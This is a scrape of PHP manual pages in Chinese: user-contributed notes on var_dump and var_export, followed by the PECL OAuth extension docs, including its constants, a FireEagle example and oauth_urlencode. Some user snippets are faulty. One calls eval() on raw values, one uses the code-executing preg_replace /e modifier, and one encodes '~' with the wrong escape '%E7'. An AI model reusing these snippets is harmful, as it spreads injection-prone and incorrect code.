                $output .= $indent . $var_name . ' '.$method.' "'.$theVar.'"'.$nl;
                break ;

            default :
                $output .= $indent . $var_name . ' '.$method.' ('.$type.') '.$theVar.$nl;
                break ;

        }

        // $var=$var[$block];

    }

    -- $depth ;

    if( $sub == false )
        return $output ;

}

// var_log( $var, '$name' ) ;

?>

Hope it works well for you!
jonbarnett at gmail dot com 02-Oct-2006 12:25
dumping objects that reference each other could lead to infinite recursion
<?php
$brother = new Sibling();
$sister = new Sibling();
$brother->sister = $sister;
$sister->brother = $brother;

var_dump($brother);
/* dumps all of $brother's properties, including "sister", which dumps all of $sister's properties, including "brother", etc. */
?>
edwardzyang at thewritingpot dot com 20-Mar-2005 02:06
If you're like me and uses var_dump whenever you're debugging, you might find these two "wrapper" functions helpful.

This one automatically adds the PRE tags around the var_dump output so you get nice formatted arrays.

<?php

function var_dump_pre($mixed = null) {
  echo '<pre>';
  var_dump($mixed);
  echo '</pre>';
  return null;
}

?>

This one returns the value of var_dump instead of outputting it.

<?php

function var_dump_ret($mixed = null) {
  ob_start();
  var_dump($mixed);
  $content = ob_get_contents();
  ob_end_clean();
  return $content;
}

?>

Fairly simple functions, but they're infinitely helpful (I use var_dump_pre() almost exclusively now).
anon 28-Jan-2005 06:31
var_dump(get_defined_vars());
will dump all defined variables to the browser.


输出或返回一个变量的字符串表示

  • ? var_dump
  • Web 服务 ?
  • PHP Manual
  • Variable handling 函数
  • 输出或返回一个变量的字符串表示

var_export

(PHP 4 >= 4.2.0, PHP 5, PHP 7)

var_export — 输出或返回一个变量的字符串表示

描述

var_export ( mixed $expression [, bool $return ] ) : mixed

此函数返回关于传递给该函数的变量的结构信息，它和 var_dump() 类似，不同的是其返回的表示是合法的 PHP 代码。

您可以通过将函数的第二个参数设置为 TRUE，从而返回变量的表示。

比较 var_export() 和 var_dump().

<pre>
<?php
$a = array (1, 2, array ("a", "b", "c"));
var_export ($a);

/* 输出：
array (
  0 => 1,
  1 => 2,
  2 =>
  array (
    0 => 'a',
    1 => 'b',
    2 => 'c',
  ),
)
*/

$b = 3.1;
$v = var_export($b, TRUE);
echo $v;

/* 输出：
3.1
*/
?>
</pre>

User Contributed Notes

beverasrilakshmi at gmail dot com 01-May-2019 08:24
Just for fun, trying to understand the definition of "returns parsable string"....any type of variable passed to var_export, the return value will be a typecasted as string...

<?php

$var = 1;
var_dump($var); //type is int as expected
echo "<br>";
$var_after_export = var_export($var,true); //returning $var will now makes it a string
var_dump($var_after_export);

?>
steven at nevvix dot com 18-Jun-2018 06:24
/**
 * var_export() with square brackets and indented 4 spaces.
 */
<?php
function varexport($expression, $return=FALSE) {
    $export = var_export($expression, TRUE);
    $export = preg_replace("/^([ ]*)(.*)/m", '$1$1$2', $export);
    $array = preg_split("/\r\n|\n|\r/", $export);
    $array = preg_replace(["/\s*array\s\($/", "/\)(,)?$/", "/\s=>\s$/"], [NULL, ']$1', ' => ['], $array);
    $export = join(PHP_EOL, array_filter(["["] + $array));
    if ((bool)$return) return $export; else echo $export;
}
Mark P 29-Jan-2016 09:09
It doesn't appear to be documented, but the behaviour of `var_export()` changed in PHP 7.

Previously, `var_export(3.)` returned "3", now it returns "3.0".
cpmcgrat()uci ! edu 27-Jul-2015 10:45
When trying to use __set_state() to rebuild a huge, tricky class use the following:

class Foo
{
    public $a;
    public $b;
    public $c;
    public $d;
    public $e;
    public $f;
    public $g;
    public $h;
    public $i;

    public function __set_state($array)
    {
        $obj = new ArrayConfig;
        foreach($array as $k => $v) {
            eval('$obj->'.$k.' = '.$v.';');
        }
        return $obj;
    }
}

This will return a reconstructed version of the class without having to manually type each individual object in the class manually (as shown in the __set_state() example)
dan at coders dot co dot nz 10-Jan-2014 02:11
I found that my complex type was exporting with
  stdClass::__set_state()
in places. Not only was that strange and messy, it cannot be eval()-ed back in at all. Fatal error. Doh!

However a quick string-replace tidy-up of the result rendered it valid again.

    $macro = var_export($data, TRUE);
    $macro = str_replace("stdClass::__set_state", "(object)", $macro);
    $macro = '$data = ' . $macro . ';';

And now the string I output *can* be evaluated back in again.
wyattstorch42 at outlook dot com 22-Dec-2013 10:11
If you call var_export() on an instance of stdClass, it attempts to export it using ::__set_state(), which, for some reason, is not implemented in stdClass.

However, casting an associative array to an object usually produces the same effect (at least, it does in my case). So I wrote an improved_var_export() function to convert instances of stdClass to (object) array () calls. If you choose to export objects of any other class, I'd advise you to implement ::__set_state().

<?php
/**
 * An implementation of var_export() that is compatible with instances
 * of stdClass.
 * @param mixed $variable The variable you want to export
 * @param bool $return If used and set to true, improved_var_export()
 *     will return the variable representation instead of outputting it.
 * @return mixed|null Returns the variable representation when the
 *     return parameter is used and evaluates to TRUE. Otherwise, this
 *     function will return NULL.
 */
function improved_var_export ($variable, $return = false) {
    if ($variable instanceof stdClass) {
        $result = '(object) '.improved_var_export(get_object_vars($variable), true);
    } else if (is_array($variable)) {
        $array = array ();
        foreach ($variable as $key => $value) {
            $array[] = var_export($key, true).' => '.improved_var_export($value, true);
        }
        $result = 'array ('.implode(', ', $array).')';
    } else {
        $result = var_export($variable, true);
    }

    if (!$return) {
        print $result;
        return null;
    } else {
        return $result;
    }
}

// Example usage:
$obj = new stdClass;
$obj->test = 'abc';
$obj->other = 6.2;
$obj->arr = array (1, 2, 3);

improved_var_export((object) array (
    'prop1' => true,
    'prop2' => $obj,
    'assocArray' => array (
        'apple' => 'good',
        'orange' => 'great'
    )
));

/* Output:
(object) array ('prop1' => true, 'prop2' => (object) array ('test' => 'abc', 'other' => 6.2, 'arr' => array (0 => 1, 1 => 2, 2 => 3)), 'assocArray' => array ('apple' => 'good', 'orange' => 'great'))
*/
?>

Note: This function spits out a single line of code, which is useful to save in a cache file to include/eval. It isn't formatted for readability. If you want to print a readable version for debugging purposes, then I would suggest print_r() or var_dump().
chudinov at yahoo dot com 29-Nov-2013 09:55
Looks like since version 5.4.22 var_export uses the serialize_precision ini setting, rather than the precision one used for normal output of floating-point numbers.
As a consequence since version 5.4.22 for example var_export(1.1) will output 1.1000000000000001 (17 is default precision value) and not 1.1 as before.

<?php
//ouput 1.1000000000000001
var_export(1.1)
 ?>
NitPicker 10-Jul-2013 04:33
When it comes to HTML output (as discussed below), it's all fun and games until someone pokes their eye out with a "<".

Surround it with "<pre>", but do remember to wrap it in htmlspecialchars() as well.
sergei dot solomonov at gmail dot com 04-Oct-2012 04:00
<?php
$closure = function(){};

var_export($closure);

// output: Closure::__set_state(array())
?>
kexianbin at diyism dot com 16-Sep-2012 02:33
to use my_var_export(), it is as beautiful as var_export() and as could deal with recursive reference as print_r():

<?php
function my_var_export($var, $is_str=false)
         {$rtn=preg_replace(array('/Array\s+\(/', '/\[(\d+)\] => (.*)\n/', '/\[([^\d].*)\] => (.*)\n/'), array('array (', '\1 => \'\2\''."\n", '\'\1\' => \'\2\''."\n"), substr(print_r($var, true), 0, -1));
          $rtn=strtr($rtn, array("=> 'array ('"=>'=> array ('));
          $rtn=strtr($rtn, array(")\n\n"=>")\n"));
          $rtn=strtr($rtn, array("'\n"=>"',\n", ")\n"=>"),\n"));
          $rtn=preg_replace(array('/\n +/e'), array('strtr(\'\0\', array(\'    \'=>\'  \'))'), $rtn);
          $rtn=strtr($rtn, array(" Object',"=>" Object'<-"));
          if ($is_str)
             {return $rtn;
             }
          else
              {echo $rtn;
              }
         }

?>
jodybrabec at gmail dot com 28-Mar-2012 05:52
WORKAROUND for error "Nesting level too deep - recursive dependency":
ob_start();
var_dump($GLOBALS);
$dataDump = ob_get_clean();
echo $dataDump;
Anonymous 11-Nov-2011 09:13
There is an even simpler way to have clean output from var_export and print_r in html pages:

<?php
function pretty_var($myArray)
{
    echo "<pre>";
    var_export($myArray);
    echo "</pre>";
}
?>
laszlo dot heredy at gmail dot com 06-Oct-2010 01:57
Try this function instead of var_export($GLOBALS) or var_dump($GLOBALS) when all you want to know is the values of the variables you set on the current page.

<?php
function globalvars(){
    $result=array();
    $skip=array('GLOBALS','_ENV','HTTP_ENV_VARS',
                        '_POST','HTTP_POST_VARS','_GET',
                        'HTTP_GET_VARS',
                        '_COOKIE',
                        'HTTP_COOKIE_VARS','_SERVER',
                        'HTTP_SERVER_VARS',
                        '_FILES','HTTP_POST_FILES',
                        '_REQUEST','HTTP_SESSION_VARS',
                        '_SESSION');
    foreach($GLOBALS as $k=>$v)
        if(!in_array($k,$skip))
            $result[$k]=$v;
    return $result;
}//functionglobalvars

var_export(globalvars());
?>
4n4jmza02 at sneakemail dot com 17-Jun-2010 04:50
I learned the hard way that if var_export encounters a resource handle it exports it as "NULL", even if it is a valid handle. The documentation states that a handle cannot be exported, but it does not describe what happens if you try to do so anyway.

I had been using var_export in some debugging code while tracing a problem with a resource handle not being generated and ended up thinking that null handles were still being generated long after the problem had been fixed.
john dot risken at gmail dot com 16-Jan-2010 03:53
I didn't see this simple little item anywhere in the user notes. Maybe I'm blind!

Anyway, var_export and print_r both use spaces and carriage returns for formatting.  Sent to an html page, most of the formatting is lost. This simple function prints a nicely formatted array to an html screen:

<?php
function pretty_var($myArray){
    print str_replace(array("\n"," "),array("<br>","&nbsp;"), var_export($myArray,true))."<br>";
}
?>
rarioj at gmail dot com 28-Oct-2009 10:43
NOTE: If an object Foo has __set_state() method, but if that object contains another object Bar with no __set_state() method implemented, the resulting PHP expression will not be eval()-able.

This is an example (object Test that contains an instance of Exception).

<?php

class Test
{
  public $one;
  public $two;
  public function __construct($one, $two)
  {
    $this->one = $one;
    $this->two = $two;
  }
  public static function __set_state(array $array)
  {
    return new self($array['one'], $array['two']);
  }
}

$test = new Test('one', new Exception('test'));

$string = var_export($test, true);

/* $string =
Test::__set_state(array(
   'one' => 'one',
   'two' =>
  Exception::__set_state(array(
     'message' => 'test',
     'string' => '',
     'code' => 0,
     'file' => 'E:\\xampp\\htdocs\\test.Q.php',
     'line' => 35,
     'trace' =>
    array (
    ),
     'previous' => NULL,
  )),
))
*/

eval('$test2 = '.$string.';'); // Fatal error: Call to undefined method Exception::__set_state

?>

So avoid using var_export() on a complex array/object that contains other objects. Instead, use serialize() and unserialize() functions.

<?php

$string = 'unserialize('.var_export(serialize($test), true).')';

eval('$test2 = '.$string.';');

var_dump($test == $test2); // bool(true)

?>
ravenswd at gmail dot com 07-Jul-2009 10:32
(This replaces my note of 3-July-2009. The original version produced no output if a variable contained an empty array, or an array consisting only of empty arrays. For example, $bigarray['x'] = array(); Also, I have added a second version of the function.)

The output can be difficult to decipher when looking at an array with many levels and many elements on each level. For example:

<?php
print ('$bigarray = ' . var_export($bigarray, true) . "\n");
?>

will return:

$bigarray = array(
... (500 lines skipped) ...
          'mod' => 'charlie',

Whereas the routine below can be called with:

<?php
recursive_print ('$bigarray', $bigarray);
?>

and it will return:

$bigarray = array()
... (500 lines skipped) ...
$bigarray['foo']['bar']['0']['somethingelse']['mod'] = 'charlie'

Here's the function:

<?php
function recursive_print ($varname, $varval) {
  if (! is_array($varval)):
    print $varname . ' = ' . $varval . "<br>\n";
  else:
    print $varname . " = array()<br>\n";
    foreach ($varval as $key => $val):
      recursive_print ($varname . "['" . $key . "']", $val);
    endforeach;
  endif;
}
?>

For those who want a version that produces valid PHP code, use this version:

<?php
function recursive_print ($varname, $varval) {
  if (! is_array($varval)):
    print $varname . ' = ' . var_export($varval, true) . ";<br>\n";
  else:
    print $varname . " = array();<br>\n";
    foreach ($varval as $key => $val):
      recursive_print ($varname . "[" . var_export($key, true) . "]", $val);
    endforeach;
  endif;
}
?>

If your output is to a text file and not an HTML page, remove the <br>s.
ravenswd at gmail dot com 03-Jul-2009 05:21
The output can be difficult to decipher when looking at an array with many levels and many elements on each level. For example:

<?php
print ('$bigarray = ' . var_export($bigarray, true) . "\n");
?>

will return:

$bigarray = array(
... (500 lines skipped) ...
          'mod' => 'charlie',

Whereas the routine below can be called with:

<?php
recursive_print ('$bigarray', $bigarray);
?>

and it will return:

$bigarray['firstelement'] = 'something'
... (500 lines skipped) ...
$bigarray['foo']['bar']['0']['somethingelse']['mod'] = 'charlie'

Here's the function:

<?php
function recursive_print ($varname, $varval) {
  if (! is_array($varval)):
    print $varname . ' = ' . $varval . "<br>\n";
  else:
    foreach ($varval as $key => $val):
      recursive_print ($varname . "['" . $key . "']", $val);
    endforeach;
  endif;
}
?>
cmusicfan (at) gmail (daught) com 11-Jun-2009 09:19
Caution! var_export will add a backslash to single quotes (').

You may want to use stripslashes() to remove the mysteriously added backslashes.
stangelanda at arrowquick dot com 29-Jun-2007 04:20
I have been looking for the best method to store data in cache files.

First, I've identified two limitations of var_export verus serialize.  It can't store internal references inside of an array and it can't store a nested object or an array containing objects before PHP 5.1.0.

However, I could deal with both of those so I created a benchmark.  I used a single array containing from 10 to 150 indexes.  I've generate the elements' values randomly using booleans, nulls, integers, floats, and some nested arrays (the nested arrays are smaller averaging 5 elements but created similarly).  The largest percentage of elements are short strings around 10-15 characters.  While there is a small number of long strings (around 500 characters).

Benchmarking returned these results for 1000 * [total time] / [iterations (4000 in this case)]

serialize 3.656, 3.575, 3.68, 3.933, mean of 3.71
include 7.099, 5.42, 5.185, 6.076, mean of 5.95
eval 5.514, 5.204, 5.011, 5.788, mean of 5.38

Meaning serialize is around 1 and a half times faster than var_export for a single large array.  include and eval were consistently very close but eval was usually a few tenths faster (eval did better this particular set of trials than usual). An opcode cache like APC might make include faster, but otherwise serialize is the best choice.
Glen 23-May-2007 05:47
Like previously reported, i find var_export() frustrating when dealing with recursive structures.  Doing a :

<?php
var_export($GLOBALS);
?>

fails.  Interestingly, var_dump() has some logic to avoid recursive references.  So :

<?php
var_dump($GLOBALS);
?>

works (while being more ugly).  Unlike var_export(), var_dump() has no option to return the string, so output buffering logic is required if you want to direct the output.
Zorro 04-Sep-2005 11:24
This function can't export EVERYTHING. Moreover, you can have an error on an simple recursive array:

$test = array();
$test["oops"] = & $test;

echo var_export($test);

=>

Fatal error:  Nesting level too deep - recursive dependency? in ??.php on line 59
linus at flowingcreativity dot net 04-Jul-2005 09:50
<roman at DIESPAM dot feather dot org dot ru>, your function has inefficiencies and problems. I probably speak for everyone when I ask you to test code before you add to the manual.

Since the issue of whitespace only comes up when exporting arrays, you can use the original var_export() for all other variable types. This function does the job, and, from the outside, works the same as var_export().

<?php

function var_export_min($var, $return = false) {
    if (is_array($var)) {
        $toImplode = array();
        foreach ($var as $key => $value) {
            $toImplode[] = var_export($key, true).'=>'.var_export_min($value, true);
        }
        $code = 'array('.implode(',', $toImplode).')';
        if ($return) return $code;
        else echo $code;
    } else {
        return var_export($var, $return);
    }
}

?>
paul at worldwithoutwalls dot co dot uk 24-Nov-2004 11:22
var_export() differs from print_r() for variables that are resources, with print_r() being more useful if you are using the function for debugging purposes.
e.g.
<?php
$res = mysql_connect($dbhost, $dbuser, $dbpass);
print_r($res); //output: Resource id #14
var_export($res); //output: NULL
?>
php_manual_note at bigredspark dot com 16-Oct-2003 12:43
[john holmes]
True, but that method would require you to open and read the file into a variable and then unserialize it into another variable.

Using a file created with var_export() could simply be include()'d, which will be less code and faster.

[kaja]
If you are trying to find a way to temporarily save variables into some other file, check out serialize() and unserialize() instead - this one is more useful for its readable property, very handy while debugging.

[original post]
If you're like me, you're wondering why a function that outputs "correct PHP syntax" is useful. This function can be useful in implementing a cache system. You can var_export() the array into a variable and write it into a file. Writing a string such as

<?php
$string = '<?php $array = ' . $data . '; ?>';
?>

where $data is the output of var_export() can create a file that can be easily include()d back into the script to recreate $array.

The raw output of var_export() could also be eval()d to recreate the array.

---John Holmes...


Web 服务

  • OAuth
    • 简介
    • 安装／配置
    • 预定义常量
    • 范例
    • OAuth 函数
    • OAuth — OAuth 类
    • OAuthProvider — OAuthProvider 类
    • OAuthException — OAuthException 类
  • SCA
    • 简介
    • 安装／配置
    • 预定义常量
    • 范例
    • SCA 函数
  • SOAP
    • 简介
    • 安装／配置
    • 预定义常量
    • SOAP 函数
    • SoapClient — The SoapClient class
    • SoapServer — The SoapServer class
    • SoapFault — The SoapFault class
    • SoapHeader — The SoapHeader class
    • SoapParam — The SoapParam class
    • SoapVar — The SoapVar class
  • Yar — Yet Another RPC Framework
    • 简介
    • 安装／配置
    • 预定义常量
    • 范例
    • Yar_Server — The Yar_Server class
    • Yar_Client — The Yar_Client class
    • Yar_Concurrent_Client — The Yar_Concurrent_Client class
    • Yar_Server_Exception — The Yar_Server_Exception class
    • Yar_Client_Exception — The Yar_Client_Exception class
  • XML-RPC
    • 简介
    • 安装／配置
    • 预定义常量
    • XML-RPC 函数

User Contributed Notes

There are no user contributed notes for this page.


OAuth

  • 简介
  • 安装／配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • 范例
    • FireEagle
  • OAuth 函数
    • oauth_get_sbs — 生成一个签名字符基串
    • oauth_urlencode — 将 URI 编码为 RFC 3986 规范
  • OAuth — OAuth 类
    • OAuth::__construct — 新建一个 OAuth 对象
    • OAuth::__destruct — 析构函数
    • OAuth::disableDebug — 关闭详细的调试
    • OAuth::disableRedirects — 关闭重定向
    • OAuth::disableSSLChecks — 关闭 SSL 检查
    • OAuth::enableDebug — 启用详细调试
    • OAuth::enableRedirects — 启用重定向
    • OAuth::enableSSLChecks — 启用 SSL 检查
    • OAuth::fetch — 获取一个 OAuth 受保护的资源
    • OAuth::generateSignature — 生成一个签名
    • OAuth::getAccessToken — 获取一个访问令牌
    • OAuth::getCAPath — 获取 CA 信息
    • OAuth::getLastResponse — 获取最后一次的响应
    • OAuth::getLastResponseHeaders — 获取最后一次响应的头信息
    • OAuth::getLastResponseInfo — 获取关于最后一次响应的 HTTP 信息
    • OAuth::getRequestHeader — 生成 OAuth 头信息字符串签名
    • OAuth::getRequestToken — 获取一个请求令牌
    • OAuth::setAuthType — 设置授权类型
    • OAuth::setCAPath — 设置 CA 路径和信息
    • OAuth::setNonce — 为后续请求设置现时标志
    • OAuth::setRequestEngine — 设置目标请求引擎
    • OAuth::setRSACertificate — 设置 RSA 证书
    • OAuth::setSSLChecks — 调整特定的SSL请求检查
    • OAuth::setTimestamp — 设置时间戳
    • OAuth::setToken — 设置令牌和 secret
    • OAuth::setVersion — 设置 OAuth 版本
  • OAuthProvider — OAuthProvider 类
    • OAuthProvider::addRequiredParameter — 添加必需的参数
    • OAuthProvider::callconsumerHandler — 调用 consumerNonceHandler 回调函数
    • OAuthProvider::callTimestampNonceHandler — 调用 timestampNonceHandler 回调函数
    • OAuthProvider::calltokenHandler — 调用 tokenNonceHandler 回调函数
    • OAuthProvider::checkOAuthRequest — 检查一个 oauth 请求
    • OAuthProvider::__construct — 新建一个 OAuthProvider 对象
    • OAuthProvider::consumerHandler — 设置 consumerHandler 句柄回调函数
    • OAuthProvider::generateToken — 生成一个随机令牌
    • OAuthProvider::is2LeggedEndpoint — is2LeggedEndpoint
    • OAuthProvider::isRequestTokenEndpoint — 设置 isRequestTokenEndpoint
    • OAuthProvider::removeRequiredParameter — 移除一个必需的参数
    • OAuthProvider::reportProblem — 报告问题
    • OAuthProvider::setParam — 设置一个参数
    • OAuthProvider::setRequestTokenPath — 设置请求令牌路径
    • OAuthProvider::timestampNonceHandler — 设置 timestampNonceHandler 句柄回调函数
    • OAuthProvider::tokenHandler — 设置 tokenHandler 句柄回调函数
  • OAuthException — OAuthException 类

User Contributed Notes

There are no user contributed notes for this page.


简介

此扩展提供 OAuth 消费方和提供方之间的绑定。OAuth 是一种建立在 HTTP 之上的授权协议，用于允许应用程序安全访问数据而无需存储用户名和密码。

User Contributed Notes

There are no user contributed notes for this page.


需求

PECL/oauth 需要 PHP 5.1 或更高版本，以及 ext/hash 和 ext/pcre 。

如果在构建时选择 PECL/oauth 则可选择性地需要 libcurl 。如果使用 libcurl 配置，则必须构建 HTTPS 支持。

User Contributed Notes

There are no user contributed notes for this page.


安装

安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pear.php.net/package/oauth

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

这些常量牵涉到的大部分问题也都在官方的 OAuth » 问题报告 文档里有描述。但是要注意，这些常量名是特定于 PHP 的，尽管这些命名规则看上去相似。

OAUTH_SIG_METHOD_RSASHA1 (字符串)
OAuth RSA-SHA1 签名方法。
OAUTH_SIG_METHOD_HMACSHA1 (字符串)

OAuth HMAC-SHA1 签名方法。

OAUTH_SIG_METHOD_HMACSHA256 (字符串)
OAuth HMAC-SHA256 签名方法。
OAUTH_AUTH_TYPE_AUTHORIZATION (字符串)

此常量代表把 OAuth 参数放在 Authorization 头部。

OAUTH_AUTH_TYPE_NONE (字符串)

此常量标志着一个 NoAuth OAuth 请求。

OAUTH_AUTH_TYPE_URI (字符串)

此常量表示将 OAuth 参数放在请求中。 URI.

OAUTH_AUTH_TYPE_FORM (字符串)

此常量表示将 OAuth 参数作为 HTTP POST 主体的一部分。

OAUTH_HTTP_METHOD_GET (字符串)

为 OAuth 请求使用 GET 方法。

OAUTH_HTTP_METHOD_POST (字符串)

为 OAuth 请求使用 POST 方法。

OAUTH_HTTP_METHOD_PUT (字符串)

为 OAuth 请求使用 PUT 方法。

OAUTH_HTTP_METHOD_HEAD (字符串)

为 OAuth 请求使用 HEAD 方法。

OAUTH_HTTP_METHOD_DELETE (字符串)
为 OAuth 请求使用 DELETE 方法。
OAUTH_REQENGINE_STREAMS (整型)
使用 OAuth::setRequestEngine() 来设置引擎为 PHP 流，与用 OAUTH_REQENGINE_CURL 的 Curl 截然相反。
OAUTH_REQENGINE_CURL (整型)
使用 OAuth::setRequestEngine() 来设置引擎为 Curl，与用 OAUTH_REQENGINE_STREAMS 的 PHP 流 截然相反。
OAUTH_OK (整型)
一切良好。
OAUTH_BAD_NONCE (整型)
oauth_nonce 值已经用于上一个上一个请求，因此现在不能使用了。
OAUTH_BAD_TIMESTAMP (整型)
oauth_timestamp 值不能被服务提供者接受。这种情况下，响应应该也包含 oauth_acceptable_timestamps 参数。
OAUTH_CONSUMER_KEY_UNKNOWN (整型)
oauth_consumer_key 暂时不能被服务提供者接受。比如，服务提供者限流了使用者。
OAUTH_CONSUMER_KEY_REFUSED (整型)
使用者密钥遭拒绝。
OAUTH_INVALID_SIGNATURE (整型)
oauth_signature 无效，因为和服务提供者的签名计算不匹配。
OAUTH_TOKEN_USED (整型)
oauth_token 已经被消费。此令牌不能再被使用，因为在上一次请求中已经使用过。
OAUTH_TOKEN_EXPIRED (整型)
oauth_token 已经过期。
OAUTH_TOKEN_REVOKED (整型)
oauth_token 已经被撤销，且将决不再接受。
OAUTH_TOKEN_REJECTED (整型)
oauth_token 被服务提供者拒绝。原因未知，也许是因为令牌从未发布、已经消费、过期、或服务提供者忘记了。
OAUTH_VERIFIER_INVALID (整型)
oauth_verifier 不正确。
OAUTH_PARAMETER_ABSENT (整型)
一个必需的参数没有接收到。这种情况下，响应也应该包含 oauth_parameters_absent 参数。
OAUTH_SIGNATURE_METHOD_REJECTED (整型)
oauth_signature_method 不能被服务提供者接受。

User Contributed Notes

There are no user contributed notes for this page.


范例

Table of Contents

  • FireEagle

User Contributed Notes

There are no user contributed notes for this page.


FireEagle

<?php
$req_url = 'https://fireeagle.yahooapis.com/oauth/request_token';
$authurl = 'https://fireeagle.yahoo.net/oauth/authorize';
$acc_url = 'https://fireeagle.yahooapis.com/oauth/access_token';
$api_url = 'https://fireeagle.yahooapis.com/api/0.1';
$conskey = 'your_consumer_key';
$conssec = 'your_consumer_secret';

session_start();

//  当 state=1 则下次请求应该包含一个 oauth_token 。
//  如果没有则返回 0
if(!isset($_GET['oauth_token']) && $_SESSION['state']==1) $_SESSION['state'] = 0;
try {
  $oauth = new OAuth($conskey,$conssec,OAUTH_SIG_METHOD_HMACSHA1,OAUTH_AUTH_TYPE_URI);
  $oauth->enableDebug();
  if(!isset($_GET['oauth_token']) && !$_SESSION['state']) {
    $request_token_info = $oauth->getRequestToken($req_url);
    $_SESSION['secret'] = $request_token_info['oauth_token_secret'];
    $_SESSION['state'] = 1;
    header('Location: '.$authurl.'?oauth_token='.$request_token_info['oauth_token']);
    exit;
  } else if($_SESSION['state']==1) {
    $oauth->setToken($_GET['oauth_token'],$_SESSION['secret']);
    $access_token_info = $oauth->getAccessToken($acc_url);
    $_SESSION['state'] = 2;
    $_SESSION['token'] = $access_token_info['oauth_token'];
    $_SESSION['secret'] = $access_token_info['oauth_token_secret'];
  }
  $oauth->setToken($_SESSION['token'],$_SESSION['secret']);
  $oauth->fetch("$api_url/user.json");
  $json = json_decode($oauth->getLastResponse());
  print_r($json);
} catch(OAuthException $E) {
  print_r($E);
}
?>

User Contributed Notes

iquark10 at gmail dot com 01-Aug-2019 08:35
Fire Eagle has closed as of February 2013
pierre dot mihawk at gmail dot com 25-Jun-2014 07:09
In the case you're asking an API which gives you a reusable application key, you'll have to use the "verifier" in the getAccessToken() method, but also the "callback" parameter in the getRequestToken().

<?php
     $request_token_info = $oauth->getRequestToken($req_url, "<YOU_CALLBACK_URI>");
?>

In my case, once I accepted the form in the Authorize URI, I was redirected to this callback URI with a "oauth_verifier" GET parameter. I injected it into the access token request :

<?php
    $access_token_info = $oauth->getAccessToken($acc_url, '', $_GET['oauth_verifier']);
?>

I finally obtained an access token that I hardcoded ; it doesn't need any refresh.
brianmoreau at uk2 dot net 09-Mar-2013 12:26
I have just managed to modify this script to work with the Twitter API...

The changes are...

$req_url = 'https://api.twitter.com/oauth/request_token';
$authurl = 'https://api.twitter.com/oauth/authorize';
$acc_url = 'https://api.twitter.com/oauth/access_token';
$api_url = 'https://api.twitter.com/1.1/account';
$conskey = 'YOURAPPconskey';
$conssec = 'YOURAPPconssec';

And change
#$oauth->fetch("$api_url/user.json");
# verify_credentials
# TO
$oauth->fetch("$api_url/verify_credentials.json");


OAuth 函数

Table of Contents

  • oauth_get_sbs — 生成一个签名字符基串
  • oauth_urlencode — 将 URI 编码为 RFC 3986 规范

User Contributed Notes

There are no user contributed notes for this page.


生成一个签名字符基串

  • ? OAuth 函数
  • oauth_urlencode ?
  • PHP Manual
  • OAuth 函数
  • 生成一个签名字符基串

oauth_get_sbs

(PECL OAuth >=0.99.7)

oauth_get_sbs — 生成一个签名字符基串

说明

oauth_get_sbs ( string $http_method , string $uri [, array $request_parameters ] ) : string

根据 pecl/oauth 生成一个签名字符基串。

参数

http_method

HTTP 方法。

uri

将要编码的 URI 。

request_parameters

请求参数的数组。

返回值

返回一个签名字符基串。

User Contributed Notes

There are no user contributed notes for this page.


将 URI 编码为 RFC 3986 规范

  • ? oauth_get_sbs
  • OAuth ?
  • PHP Manual
  • OAuth 函数
  • 将 URI 编码为 RFC 3986 规范

oauth_urlencode

(PECL OAuth >=0.99.2)

oauth_urlencode — 将 URI 编码为 RFC 3986 规范

说明

oauth_urlencode ( string $uri ) : string

将 URI 编码为 » RFC 3986 规范。

参数

uri

将要编码的 URI 。

返回值

返回一个 » RFC 3986 规范的编码字符串。

User Contributed Notes

bohwaz 30-Mar-2010 07:20
Note that php5.3 rawurlencode will do exactly the same thing.

For PHP 5.2, easy replacement to this function :

<?php

function rfc3986_encode($str)
{
  $str = rawurlencode($str);
  $str = str_replace('%E7', '~', $str);
  return $str;
}

?>


OAuth 类

(PECL OAuth >= 0.99.1)

简介

此 OAuth 扩展提供一个简单接口使用 OAuth HTTP 规范与数据提供者互动，以便保护私有资源。

类摘要

OAuth {
/* 属性 */
public $debug ;
public $sslChecks ;
public $debugInfo ;
/* 方法 */
public __construct ( string $consumer_key , string $consumer_secret [, string $signature_method = OAUTH_SIG_METHOD_HMACSHA1 [, int $auth_type = 0 ]] )
public __destruct ( void ) : void
public disableDebug ( void ) : bool
public disableRedirects ( void ) : bool
public disableSSLChecks ( void ) : bool
public enableDebug ( void ) : bool
public enableRedirects ( void ) : bool
public enableSSLChecks ( void ) : bool
public fetch ( string $protected_resource_url [, array $extra_parameters [, string $http_method [, array $http_headers ]]] ) : mixed
public generateSignature ( string $http_method , string $url [, mixed $extra_parameters ] ) : string
public getAccessToken ( string $access_token_url [, string $auth_session_handle [, string $verifier_token ]] ) : array
public getCAPath ( void ) : array
public getLastResponse ( void ) : string
public getLastResponseHeaders ( void ) : string
public getLastResponseInfo ( void ) : array
public getRequestHeader ( string $http_method , string $url [, mixed $extra_parameters ] ) : string
public getRequestToken ( string $request_token_url [, string $callback_url ] ) : array
public setAuthType ( int $auth_type ) : mixed
public setCAPath ([ string $ca_path [, string $ca_info ]] ) : mixed
public setNonce ( string $nonce ) : mixed
public setRequestEngine ( int $reqengine ) : void
public setRSACertificate ( string $cert ) : mixed
public setSSLChecks ( int $sslcheck ) : bool
public setTimestamp ( string $timestamp ) : mixed
public setToken ( string $token , string $token_secret ) : bool
public setVersion ( string $version ) : bool
}

属性

debug

sslChecks

debugInfo

Table of Contents

  • OAuth::__construct — 新建一个 OAuth 对象
  • OAuth::__destruct — 析构函数
  • OAuth::disableDebug — 关闭详细的调试
  • OAuth::disableRedirects — 关闭重定向
  • OAuth::disableSSLChecks — 关闭 SSL 检查
  • OAuth::enableDebug — 启用详细调试
  • OAuth::enableRedirects — 启用重定向
  • OAuth::enableSSLChecks — 启用 SSL 检查
  • OAuth::fetch — 获取一个 OAuth 受保护的资源
  • OAuth::generateSignature — 生成一个签名
  • OAuth::getAccessToken — 获取一个访问令牌
  • OAuth::getCAPath — 获取 CA 信息
  • OAuth::getLastResponse — 获取最后一次的响应
  • OAuth::getLastResponseHeaders — 获取最后一次响应的头信息
  • OAuth::getLastResponseInfo — 获取关于最后一次响应的 HTTP 信息
  • OAuth::getRequestHeader — 生成 OAuth 头信息字符串签名
  • OAuth::getRequestToken — 获取一个请求令牌
